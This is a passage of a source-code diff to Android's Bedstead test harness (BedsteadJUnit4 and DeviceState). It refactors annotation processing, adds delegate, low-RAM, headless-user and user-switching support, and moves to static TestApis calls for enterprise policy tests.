-    private static boolean shouldSkipAnnotation(String annotationPackage) {
+    private static boolean shouldSkipAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        String annotationPackage = annotation.annotationType().getPackage().getName();
+
         for (String ignoredPackage : sIgnoredAnnotationPackages) {
             if (ignoredPackage.endsWith(".*")) {
                 if (annotationPackage.startsWith(
@@ -212,14 +283,19 @@
         super(testClass);
     }
 
+    private boolean annotationShouldBeSkipped(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        return annotation.annotationType().equals(IncludeNone.class);
+    }
+
     @Override
     protected List<FrameworkMethod> computeTestMethods() {
         TestClass testClass = getTestClass();
 
-        List<FrameworkMethod> basicTests = new ArrayList<>();
-        basicTests.addAll(testClass.getAnnotatedMethods(Test.class));
-        basicTests.addAll(testClass.getAnnotatedMethods(CalledByHostDrivenTest.class));
-
+        List<FrameworkMethod> basicTests = testClass.getAnnotatedMethods(Test.class);
         List<FrameworkMethod> modifiedTests = new ArrayList<>();
 
         for (FrameworkMethod m : basicTests) {
@@ -231,7 +307,7 @@
             }
 
             for (Annotation annotation : parameterizedAnnotations) {
-                if (annotation.annotationType().equals(IncludeNone.class)) {
+                if (annotationShouldBeSkipped(annotation)) {
                     // Special case - does not generate a run
                     continue;
                 }
@@ -307,7 +383,7 @@
         parseEnterpriseAnnotations(annotations);
 
         for (Annotation annotation : annotations) {
-            if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null) {
+            if (isParameterizedAnnotation(annotation)) {
                 parameterizedAnnotations.add(annotation);
             }
         }
@@ -331,7 +407,8 @@
                 EnterprisePolicy enterprisePolicy =
                         policy.getAnnotation(EnterprisePolicy.class);
                 List<Annotation> replacementAnnotations =
-                        Policy.positiveStates(enterprisePolicy);
+                        Policy.positiveStates(policy.getName(), enterprisePolicy);
+                replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
 
                 annotations.addAll(index, replacementAnnotations);
                 index += replacementAnnotations.size();
@@ -342,7 +419,8 @@
                 EnterprisePolicy enterprisePolicy =
                         policy.getAnnotation(EnterprisePolicy.class);
                 List<Annotation> replacementAnnotations =
-                        Policy.negativeStates(enterprisePolicy);
+                        Policy.negativeStates(policy.getName(), enterprisePolicy);
+                replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
 
                 annotations.addAll(index, replacementAnnotations);
                 index += replacementAnnotations.size();
@@ -353,7 +431,22 @@
                 EnterprisePolicy enterprisePolicy =
                         policy.getAnnotation(EnterprisePolicy.class);
                 List<Annotation> replacementAnnotations =
-                        Policy.cannotSetPolicyStates(enterprisePolicy);
+                        Policy.cannotSetPolicyStates(policy.getName(), enterprisePolicy, ((CannotSetPolicyTest) annotation).includeDeviceAdminStates(), ((CannotSetPolicyTest) annotation).includeNonDeviceAdminStates());
+                replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
+
+                annotations.addAll(index, replacementAnnotations);
+                index += replacementAnnotations.size();
+            } else if (annotation instanceof CanSetPolicyTest) {
+                annotations.remove(index);
+                Class<?> policy = ((CanSetPolicyTest) annotation).policy();
+                boolean singleTestOnly = ((CanSetPolicyTest) annotation).singleTestOnly();
+
+                EnterprisePolicy enterprisePolicy =
+                        policy.getAnnotation(EnterprisePolicy.class);
+                List<Annotation> replacementAnnotations =
+                        Policy.canSetPolicyStates(
+                                policy.getName(), enterprisePolicy, singleTestOnly);
+                replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
 
                 annotations.addAll(index, replacementAnnotations);
                 index += replacementAnnotations.size();
@@ -380,4 +473,17 @@
 
         return rules;
     }
+
+    /**
+     * True if the test is running in debug mode.
+     *
+     * <p>This will result in additional debugging information being added which would otherwise
+     * be dropped to improve test performance.
+     *
+     * <p>To enable this, pass the "bedstead-debug" instrumentation arg as "true"
+     */
+    public static boolean isDebug() {
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        return Boolean.parseBoolean(arguments.getString("bedstead-debug", "false"));
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index ab66ee5..75cf62b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -17,12 +17,13 @@
 package com.android.bedstead.harrier;
 
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
 
 import static com.android.bedstead.nene.permissions.Permissions.NOTIFY_PENDING_SYSTEM_UPDATE;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.utils.Versions.meetsSdkVersionRequirements;
-import static com.android.bedstead.remotedpc.Configuration.REMOTE_DPC_COMPONENT_NAME;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -30,6 +31,8 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityManager;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Build;
@@ -48,11 +51,18 @@
 import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireGmsInstrumentation;
+import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
+import com.android.bedstead.harrier.annotations.RequireLowRamDevice;
+import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode;
+import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice;
 import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
 import com.android.bedstead.harrier.annotations.RequirePackageNotInstalled;
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.harrier.annotations.RequireUserSupported;
+import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
@@ -72,13 +82,18 @@
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContextImpl;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserBuilder;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.Tags;
 import com.android.bedstead.nene.utils.Versions;
+import com.android.bedstead.remotedpc.RemoteDelegate;
 import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.eventlib.EventLogs;
 
 import com.google.common.base.Objects;
 
@@ -99,6 +114,7 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.Comparator;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -121,12 +137,20 @@
 public final class DeviceState implements TestRule {
 
     private static final String GMS_PKG = "com.google.android.gms";
+    private static final ComponentName REMOTE_DPC_COMPONENT_NAME = RemoteDpc.DPC_COMPONENT_NAME;
+
+    private static final String SWITCHED_TO_USER = "switchedToUser";
+    private static final String SWITCHED_TO_PARENT_USER = "switchedToParentUser";
+    public static final String INSTALL_INSTRUMENTED_APP = "installInstrumentedApp";
+    public static final String FOR_USER = "forUser";
+    public static final String DPC_IS_PRIMARY = "dpcIsPrimary";
+    public static final String AFFILIATION_IDS = "affiliationIds";
 
     private final Context mContext = ApplicationProvider.getApplicationContext();
-    private static final TestApis sTestApis = new TestApis();
     private static final String SKIP_TEST_TEARDOWN_KEY = "skip-test-teardown";
     private static final String SKIP_CLASS_TEARDOWN_KEY = "skip-class-teardown";
     private static final String SKIP_TESTS_REASON_KEY = "skip-tests-reason";
+    private static final String MIN_SDK_VERSION_KEY = "min-sdk-version";
     private boolean mSkipTestTeardown;
     private boolean mSkipClassTeardown;
     private boolean mSkipTests;
@@ -134,6 +158,9 @@
     private boolean mUsingBedsteadJUnit4 = false;
     private String mSkipTestsReason;
     private String mFailTestsReason;
+    // The minimum version supported by tests, defaults to current version
+    private final int mMinSdkVersion;
+    private int mMinSdkVersionCurrentTest;
 
     // Marks if the conditions for requiring running under GMS instrumentation have been set
     // if not - we assume the test should never run under GMS instrumentation
@@ -149,6 +176,7 @@
                 arguments.getString(SKIP_CLASS_TEARDOWN_KEY, "false"));
         mSkipTestsReason = arguments.getString(SKIP_TESTS_REASON_KEY, "");
         mSkipTests = !mSkipTestsReason.isEmpty();
+        mMinSdkVersion = arguments.getInt(MIN_SDK_VERSION_KEY, Build.VERSION.SDK_INT);
     }
 
     void setSkipTestTeardown(boolean skipTestTeardown) {
@@ -170,21 +198,29 @@
         throw new IllegalStateException("Unknown description type: " + description);
     }
 
-    private Statement applyTest(final Statement base, final Description description) {
+    private Statement applyTest(Statement base, Description description) {
         return new Statement() {
             @Override public void evaluate() throws Throwable {
-                Log.d(LOG_TAG, "Preparing state for test " + description.getMethodName());
-
-                assumeFalse(mSkipTestsReason, mSkipTests);
-                assertFalse(mFailTestsReason, mFailTests);
-
-                List<Annotation> annotations = getAnnotations(description);
-                PermissionContextImpl permissionContext = applyAnnotations(annotations);
-
-                Log.d(LOG_TAG,
-                        "Finished preparing state for test " + description.getMethodName());
+                PermissionContextImpl permissionContext = null;
 
                 try {
+                    Log.d(LOG_TAG, "Preparing state for test " + description.getMethodName());
+
+                    Tags.clearTags();
+                    Tags.addTag(Tags.USES_DEVICESTATE);
+                    assumeFalse(mSkipTestsReason, mSkipTests);
+                    assertFalse(mFailTestsReason, mFailTests);
+
+                    // Ensure that tests only see events from the current test
+                    EventLogs.resetLogs();
+
+                    mMinSdkVersionCurrentTest = mMinSdkVersion;
+                    List<Annotation> annotations = getAnnotations(description);
+                    permissionContext = applyAnnotations(annotations);
+
+                    Log.d(LOG_TAG,
+                            "Finished preparing state for test " + description.getMethodName());
+
                     base.evaluate();
                 } finally {
                     Log.d(LOG_TAG,
@@ -209,13 +245,15 @@
             throws Throwable {
         PermissionContextImpl permissionContext = null;
         for (Annotation annotation : annotations) {
+            Log.i(LOG_TAG, "Applying annotation " + annotation);
+
             Class<? extends Annotation> annotationType = annotation.annotationType();
 
             EnsureHasNoProfileAnnotation ensureHasNoProfileAnnotation =
                     annotationType.getAnnotation(EnsureHasNoProfileAnnotation.class);
             if (ensureHasNoProfileAnnotation != null) {
                 UserType userType = (UserType) annotation.annotationType()
-                        .getMethod("forUser").invoke(annotation);
+                        .getMethod(FOR_USER).invoke(annotation);
                 ensureHasNoProfile(ensureHasNoProfileAnnotation.value(), userType);
                 continue;
             }
@@ -224,22 +262,26 @@
                     annotationType.getAnnotation(EnsureHasProfileAnnotation.class);
             if (ensureHasProfileAnnotation != null) {
                 UserType forUser = (UserType) annotation.annotationType()
-                        .getMethod("forUser").invoke(annotation);
+                        .getMethod(FOR_USER).invoke(annotation);
                 OptionalBoolean installInstrumentedApp = (OptionalBoolean)
                         annotation.annotationType()
-                                .getMethod("installInstrumentedApp").invoke(annotation);
+                                .getMethod(INSTALL_INSTRUMENTED_APP).invoke(annotation);
 
                 boolean dpcIsPrimary = false;
                 if (ensureHasProfileAnnotation.hasProfileOwner()) {
                     dpcIsPrimary = (boolean)
                             annotation.annotationType()
-                                    .getMethod("dpcIsPrimary").invoke(annotation);
+                                    .getMethod(DPC_IS_PRIMARY).invoke(annotation);
                 }
 
+                OptionalBoolean switchedToParentUser = (OptionalBoolean)
+                        annotation.annotationType()
+                                .getMethod(SWITCHED_TO_PARENT_USER).invoke(annotation);
+
                 ensureHasProfile(
                         ensureHasProfileAnnotation.value(), installInstrumentedApp,
                         forUser, ensureHasProfileAnnotation.hasProfileOwner(),
-                        dpcIsPrimary);
+                        dpcIsPrimary, switchedToParentUser);
                 continue;
             }
 
@@ -254,53 +296,87 @@
                     annotationType.getAnnotation(EnsureHasUserAnnotation.class);
             if (ensureHasUserAnnotation != null) {
                 OptionalBoolean installInstrumentedApp = (OptionalBoolean)
-                        annotation.getClass()
-                                .getMethod("installInstrumentedApp").invoke(annotation);
-                ensureHasUser(ensureHasUserAnnotation.value(), installInstrumentedApp);
+                        annotation.annotationType()
+                                .getMethod(INSTALL_INSTRUMENTED_APP).invoke(annotation);
+                OptionalBoolean switchedToUser = (OptionalBoolean)
+                        annotation.annotationType()
+                                .getMethod(SWITCHED_TO_USER).invoke(annotation);
+                ensureHasUser(
+                        ensureHasUserAnnotation.value(), installInstrumentedApp, switchedToUser);
                 continue;
             }
 
             RequireRunOnUserAnnotation requireRunOnUserAnnotation =
                     annotationType.getAnnotation(RequireRunOnUserAnnotation.class);
             if (requireRunOnUserAnnotation != null) {
-                requireRunOnUser(requireRunOnUserAnnotation.value());
+                OptionalBoolean switchedToUser = (OptionalBoolean)
+                        annotation.annotationType()
+                                .getMethod(SWITCHED_TO_USER).invoke(annotation);
+                requireRunOnUser(requireRunOnUserAnnotation.value(), switchedToUser);
                 continue;
             }
 
+            if (annotation instanceof TestTag) {
+                TestTag testTagAnnotation = (TestTag) annotation;
+                Tags.addTag(testTagAnnotation.value());
+            }
+
             RequireRunOnProfileAnnotation requireRunOnProfileAnnotation =
                     annotationType.getAnnotation(RequireRunOnProfileAnnotation.class);
             if (requireRunOnProfileAnnotation != null) {
                 OptionalBoolean installInstrumentedAppInParent = (OptionalBoolean)
-                        annotation.getClass()
+                        annotation.annotationType()
                                 .getMethod("installInstrumentedAppInParent")
                                 .invoke(annotation);
 
+                OptionalBoolean switchedToParentUser = (OptionalBoolean)
+                        annotation.annotationType()
+                                .getMethod(SWITCHED_TO_PARENT_USER).invoke(annotation);
+
 
                 boolean dpcIsPrimary = false;
                 Set<String> affiliationIds = null;
                 if (requireRunOnProfileAnnotation.hasProfileOwner()) {
                     dpcIsPrimary = (boolean)
                             annotation.annotationType()
-                                    .getMethod("dpcIsPrimary").invoke(annotation);
+                                    .getMethod(DPC_IS_PRIMARY).invoke(annotation);
                     affiliationIds = new HashSet<>(Arrays.asList((String[])
                             annotation.annotationType()
-                                    .getMethod("affiliationIds").invoke(annotation)));
+                                    .getMethod(AFFILIATION_IDS).invoke(annotation)));
                 }
 
                 requireRunOnProfile(requireRunOnProfileAnnotation.value(),
                         installInstrumentedAppInParent,
                         requireRunOnProfileAnnotation.hasProfileOwner(),
-                        dpcIsPrimary, affiliationIds);
+                        dpcIsPrimary, switchedToParentUser, affiliationIds);
                 continue;
             }
 
+            if (annotation instanceof EnsureHasDelegate) {
+                EnsureHasDelegate ensureHasDelegateAnnotation =
+                        (EnsureHasDelegate) annotation;
+                ensureHasDelegate(
+                        ensureHasDelegateAnnotation.admin(),
+                        Arrays.asList(ensureHasDelegateAnnotation.scopes()),
+                        ensureHasDelegateAnnotation.isPrimary());
+                continue;
+            }
+
+
             if (annotation instanceof EnsureHasDeviceOwner) {
                 EnsureHasDeviceOwner ensureHasDeviceOwnerAnnotation =
                         (EnsureHasDeviceOwner) annotation;
-                ensureHasDeviceOwner(ensureHasDeviceOwnerAnnotation.onUser(),
-                        ensureHasDeviceOwnerAnnotation.failureMode(),
+                ensureHasDeviceOwner(ensureHasDeviceOwnerAnnotation.failureMode(),
                         ensureHasDeviceOwnerAnnotation.isPrimary(),
-                        new HashSet<>(Arrays.asList(ensureHasDeviceOwnerAnnotation.affiliationIds())));
+                        new HashSet<>(
+                                Arrays.asList(ensureHasDeviceOwnerAnnotation.affiliationIds())));
+                continue;
+            }
+
+            if (annotation instanceof EnsureHasNoDelegate) {
+                EnsureHasNoDelegate ensureHasNoDelegateAnnotation =
+                        (EnsureHasNoDelegate) annotation;
+                ensureHasNoDelegate(ensureHasNoDelegateAnnotation.admin());
                 continue;
             }
 
@@ -359,14 +435,39 @@
                 continue;
             }
 
+            if (annotation instanceof RequireLowRamDevice) {
+                RequireLowRamDevice requireLowRamDeviceAnnotation =
+                        (RequireLowRamDevice) annotation;
+                requireLowRamDevice(requireLowRamDeviceAnnotation.reason(),
+                        requireLowRamDeviceAnnotation.failureMode());
+                continue;
+            }
+
+            if (annotation instanceof RequireNotLowRamDevice) {
+                RequireNotLowRamDevice requireNotLowRamDeviceAnnotation =
+                        (RequireNotLowRamDevice) annotation;
+                requireNotLowRamDevice(requireNotLowRamDeviceAnnotation.reason(),
+                        requireNotLowRamDeviceAnnotation.failureMode());
+                continue;
+            }
+
             if (annotation instanceof RequireSdkVersion) {
                 RequireSdkVersion requireSdkVersionAnnotation =
                         (RequireSdkVersion) annotation;
 
-                requireSdkVersion(
-                        requireSdkVersionAnnotation.min(),
-                        requireSdkVersionAnnotation.max(),
-                        requireSdkVersionAnnotation.failureMode());
+                if (requireSdkVersionAnnotation.reason().isEmpty()) {
+                    requireSdkVersion(
+                            requireSdkVersionAnnotation.min(),
+                            requireSdkVersionAnnotation.max(),
+                            requireSdkVersionAnnotation.failureMode());
+                } else {
+                    requireSdkVersion(
+                            requireSdkVersionAnnotation.min(),
+                            requireSdkVersionAnnotation.max(),
+                            requireSdkVersionAnnotation.failureMode(),
+                            requireSdkVersionAnnotation.reason());
+                }
+
                 continue;
             }
 
@@ -401,6 +502,16 @@
                 continue;
             }
 
+            if (annotation instanceof RequireNotHeadlessSystemUserMode) {
+                requireNotHeadlessSystemUserMode();
+                continue;
+            }
+
+            if (annotation instanceof RequireHeadlessSystemUserMode) {
+                requireHeadlessSystemUserMode();
+                continue;
+            }
+
             if (annotation instanceof EnsureHasPermission) {
                 EnsureHasPermission ensureHasPermissionAnnotation =
                         (EnsureHasPermission) annotation;
@@ -409,10 +520,9 @@
                     ensureCanGetPermission(permission);
                 }
 
-
                 try {
                     if (permissionContext == null) {
-                        permissionContext = sTestApis.permissions().withPermission(
+                        permissionContext = TestApis.permissions().withPermission(
                                 ensureHasPermissionAnnotation.value());
                     } else {
                         permissionContext = permissionContext.withPermission(
@@ -431,7 +541,7 @@
 
                 try {
                     if (permissionContext == null) {
-                        permissionContext = sTestApis.permissions().withoutPermission(
+                        permissionContext = TestApis.permissions().withoutPermission(
                                 ensureDoesNotHavePermission.value());
                     } else {
                         permissionContext = permissionContext.withoutPermission(
@@ -445,6 +555,9 @@
             }
         }
 
+        requireSdkVersion(/* min= */ mMinSdkVersionCurrentTest,
+                /* max= */ Integer.MAX_VALUE, FailureMode.SKIP);
+
         if (!mHasRequireGmsInstrumentation) {
             // TODO(scottjonathan): Only enforce if we've configured GMS Instrumentation
             requireNoGmsInstrumentation();
@@ -492,7 +605,7 @@
         }
     }
 
-    private Statement applySuite(final Statement base, final Description description) {
+    private Statement applySuite(Statement base, Description description) {
         return new Statement() {
             @Override
             public void evaluate() throws Throwable {
@@ -500,21 +613,36 @@
 
                 TestClass testClass = new TestClass(description.getTestClass());
 
-                boolean skipAfterClass = true;
                 PermissionContextImpl permissionContext = null;
 
-                if (!mSkipTests && !mFailTests) {
-                    skipAfterClass = false;
-                    Log.d(LOG_TAG, "Preparing state for suite " + description.getClassName());
+                if (mSkipTests || mFailTests) {
+                    Log.d(LOG_TAG, "Skipping suite setup and teardown due to skipTests: "
+                            + mSkipTests + ", failTests: " + mFailTests);
+                    base.evaluate();
+                    return;
+                }
+
+                Log.d(LOG_TAG, "Preparing state for suite " + description.getClassName());
+
+                Tags.clearTags();
+                Tags.addTag(Tags.USES_DEVICESTATE);
+                if (TestApis.packages().instrumented().isInstantApp()) {
+                    Tags.addTag(Tags.INSTANT_APP);
+                }
+
+                try {
+                    TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
 
                     try {
                         List<Annotation> annotations =
                                 new ArrayList<>(getAnnotations(description));
                         permissionContext = applyAnnotations(annotations);
                     } catch (AssumptionViolatedException e) {
+                        Log.i(LOG_TAG, "Assumption failed during class setup", e);
                         mSkipTests = true;
                         mSkipTestsReason = e.getMessage();
                     } catch (AssertionError e) {
+                        Log.i(LOG_TAG, "Assertion failed during class setup", e);
                         mFailTests = true;
                         mFailTestsReason = e.getMessage();
                     }
@@ -522,24 +650,25 @@
                     Log.d(LOG_TAG,
                             "Finished preparing state for suite "
                                     + description.getClassName());
-                }
 
-                if (!mSkipTests && !mFailTests) {
-                    runAnnotatedMethods(testClass, BeforeClass.class);
-                }
+                    if (!mSkipTests && !mFailTests) {
+                        // Tests may be skipped during the class setup
+                        runAnnotatedMethods(testClass, BeforeClass.class);
+                    }
 
-                base.evaluate();
-
-                if (!skipAfterClass) {
+                    base.evaluate();
+                } finally {
                     runAnnotatedMethods(testClass, AfterClass.class);
-                }
 
-                if (permissionContext != null) {
-                    permissionContext.close();
-                }
+                    if (permissionContext != null) {
+                        permissionContext.close();
+                    }
 
-                if (!mSkipClassTeardown) {
-                    teardownShareableState();
+                    if (!mSkipClassTeardown) {
+                        teardownShareableState();
+                    }
+
+                    TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
                 }
             }
         };
@@ -609,19 +738,22 @@
         }
     }
 
-    private void requireRunOnUser(String userType) {
-        User instrumentedUser = sTestApis.users().instrumented().resolve();
+    private void requireRunOnUser(String[] userTypes, OptionalBoolean switchedToUser) {
+        UserReference instrumentedUser = TestApis.users().instrumented();
 
-        assumeTrue("This test only runs on users of type " + userType,
-                instrumentedUser.type().name().equals(userType));
+        assumeTrue("This test only runs on users of type " + Arrays.toString(userTypes),
+                Arrays.stream(userTypes).anyMatch(i -> i.equals(instrumentedUser.type().name())));
 
         mUsers.put(instrumentedUser.type(), instrumentedUser);
+
+        ensureSwitchedToUser(switchedToUser, instrumentedUser);
     }
 
     private void requireRunOnProfile(String userType,
             OptionalBoolean installInstrumentedAppInParent,
-            boolean hasProfileOwner, boolean dpcIsPrimary, Set<String> affiliationIds) {
-        User instrumentedUser = sTestApis.users().instrumented().resolve();
+            boolean hasProfileOwner, boolean dpcIsPrimary,
+            OptionalBoolean switchedToParentUser, Set<String> affiliationIds) {
+        UserReference instrumentedUser = TestApis.users().instrumented();
 
         assumeTrue("This test only runs on users of type " + userType,
                 instrumentedUser.type().name().equals(userType));
@@ -633,10 +765,10 @@
         mProfiles.get(instrumentedUser.type()).put(instrumentedUser.parent(), instrumentedUser);
 
         if (installInstrumentedAppInParent.equals(OptionalBoolean.TRUE)) {
-            sTestApis.packages().find(sContext.getPackageName()).install(
+            TestApis.packages().find(sContext.getPackageName()).installExisting(
                     instrumentedUser.parent());
         } else if (installInstrumentedAppInParent.equals(OptionalBoolean.FALSE)) {
-            sTestApis.packages().find(sContext.getPackageName()).uninstall(
+            TestApis.packages().find(sContext.getPackageName()).uninstall(
                     instrumentedUser.parent());
         }
 
@@ -645,21 +777,31 @@
         } else {
             ensureHasNoProfileOwner(instrumentedUser);
         }
+
+        ensureSwitchedToUser(switchedToParentUser, instrumentedUser.parent());
+    }
+
+    private void ensureSwitchedToUser(OptionalBoolean switchedtoUser, UserReference user) {
+        if (switchedtoUser.equals(OptionalBoolean.TRUE)) {
+            switchToUser(user);
+        } else if (switchedtoUser.equals(OptionalBoolean.FALSE)) {
+            switchFromUser(user);
+        }
     }
 
     private void requireFeature(String feature, FailureMode failureMode) {
         checkFailOrSkip("Device must have feature " + feature,
-                sTestApis.packages().features().contains(feature), failureMode);
+                TestApis.packages().features().contains(feature), failureMode);
     }
 
     private void requireDoesNotHaveFeature(String feature, FailureMode failureMode) {
         checkFailOrSkip("Device must not have feature " + feature,
-                !sTestApis.packages().features().contains(feature), failureMode);
+                !TestApis.packages().features().contains(feature), failureMode);
     }
 
     private void requireNoGmsInstrumentation() {
         boolean instrumentingGms =
-                sTestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
+                TestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
 
         checkFailOrSkip(
                 "This test never runs using gms instrumentation",
@@ -671,7 +813,7 @@
     private void requireGmsInstrumentation(int min, int max) {
         mHasRequireGmsInstrumentation = true;
         boolean instrumentingGms =
-                sTestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
+                TestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
 
         if (meetsSdkVersionRequirements(min, max)) {
             checkFailOrSkip(
@@ -698,8 +840,9 @@
 
     private void requireSdkVersion(
             int min, int max, FailureMode failureMode, String failureMessage) {
+        mMinSdkVersionCurrentTest = min;
         checkFailOrSkip(
-                failureMessage,
+                failureMessage + " (version is " + Build.VERSION.SDK_INT + ")",
                 meetsSdkVersionRequirements(min, max),
                 failureMode
         );
@@ -708,11 +851,11 @@
     private com.android.bedstead.nene.users.UserType requireUserSupported(
             String userType, FailureMode failureMode) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
-                sTestApis.users().supportedType(userType);
+                TestApis.users().supportedType(userType);
 
         checkFailOrSkip(
                 "Device must support user type " + userType
-                + " only supports: " + sTestApis.users().supportedTypes(),
+                + " only supports: " + TestApis.users().supportedTypes(),
                 resolvedUserType != null, failureMode);
 
         return resolvedUserType;
@@ -751,7 +894,7 @@
 
     private static final String LOG_TAG = "DeviceState";
 
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private final Map<com.android.bedstead.nene.users.UserType, UserReference> mUsers =
             new HashMap<>();
@@ -759,14 +902,15 @@
             mProfiles = new HashMap<>();
     private DevicePolicyController mDeviceOwner;
     private Map<UserReference, DevicePolicyController> mProfileOwners = new HashMap<>();
-    private DevicePolicyController mPrimaryDpc;
+    private RemotePolicyManager mPrimaryPolicyManager;
 
     private final List<UserReference> mCreatedUsers = new ArrayList<>();
     private final List<UserBuilder> mRemovedUsers = new ArrayList<>();
     private final List<BlockingBroadcastReceiver> mRegisteredBroadcastReceivers = new ArrayList<>();
     private boolean mHasChangedDeviceOwner = false;
-    private DevicePolicyController mOriginalDeviceOwner = null;
+    private DevicePolicyController mOriginalDeviceOwner;
     private Map<UserReference, DevicePolicyController> mChangedProfileOwners = new HashMap<>();
+    private UserReference mOriginalSwitchedUser;
 
     /**
      * Get the {@link UserReference} of the work profile for the current user.
@@ -843,7 +987,7 @@
      */
     public UserReference profile(String profileType, UserReference forUser) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
-                sTestApis.users().supportedType(profileType);
+                TestApis.users().supportedType(profileType);
 
         if (resolvedUserType == null) {
             throw new IllegalStateException("Can not have a profile of type " + profileType
@@ -868,7 +1012,7 @@
         }
 
         if (!mProfiles.containsKey(userType) || !mProfiles.get(userType).containsKey(forUser)) {
-            UserReference parentUser = sTestApis.users().instrumented().resolve().parent();
+            UserReference parentUser = TestApis.users().instrumented().parent();
 
             if (parentUser != null) {
                 if (mProfiles.containsKey(userType)
@@ -925,8 +1069,8 @@
      * Get the user ID of the first human user on the device.
      */
     public UserReference primaryUser() {
-        return sTestApis.users().all()
-                .stream().filter(User::isPrimary).findFirst()
+        return TestApis.users().all()
+                .stream().filter(UserReference::isPrimary).findFirst()
                 .orElseThrow(IllegalStateException::new);
     }
 
@@ -952,7 +1096,7 @@
      */
     public UserReference user(String userType) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
-                sTestApis.users().supportedType(userType);
+                TestApis.users().supportedType(userType);
 
         if (resolvedUserType == null) {
             throw new IllegalStateException("Can not have a user of type " + userType
@@ -989,24 +1133,30 @@
             OptionalBoolean installInstrumentedApp,
             UserType forUser,
             boolean hasProfileOwner,
-            boolean profileOwnerIsPrimary) {
+            boolean profileOwnerIsPrimary,
+            OptionalBoolean switchedToParentUser) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
                 requireUserSupported(profileType, FailureMode.SKIP);
 
         UserReference forUserReference = resolveUserTypeToUser(forUser);
 
         UserReference profile =
-                sTestApis.users().findProfileOfType(resolvedUserType, forUserReference);
+                TestApis.users().findProfileOfType(resolvedUserType, forUserReference);
         if (profile == null) {
+            if (profileType.equals(MANAGED_PROFILE_TYPE_NAME)) {
+                // DO + work profile isn't a valid state
+                ensureHasNoDeviceOwner();
+            }
+
             profile = createProfile(resolvedUserType, forUserReference);
         }
 
         profile.start();
 
         if (installInstrumentedApp.equals(OptionalBoolean.TRUE)) {
-            sTestApis.packages().find(sContext.getPackageName()).install(profile);
+            TestApis.packages().find(sContext.getPackageName()).installExisting(profile);
         } else if (installInstrumentedApp.equals(OptionalBoolean.FALSE)) {
-            sTestApis.packages().find(sContext.getPackageName()).uninstall(profile);
+            TestApis.packages().find(sContext.getPackageName()).uninstall(profile);
         }
 
         if (!mProfiles.containsKey(resolvedUserType)) {
@@ -1018,13 +1168,16 @@
         if (hasProfileOwner) {
             ensureHasProfileOwner(profile, profileOwnerIsPrimary, /* affiliationIds= */ null);
         }
+
+        ensureSwitchedToUser(switchedToParentUser, forUserReference);
+
         return profile;
     }
 
     private void ensureHasNoProfile(String profileType, UserType forUser) {
         UserReference forUserReference = resolveUserTypeToUser(forUser);
         com.android.bedstead.nene.users.UserType resolvedProfileType =
-                sTestApis.users().supportedType(profileType);
+                TestApis.users().supportedType(profileType);
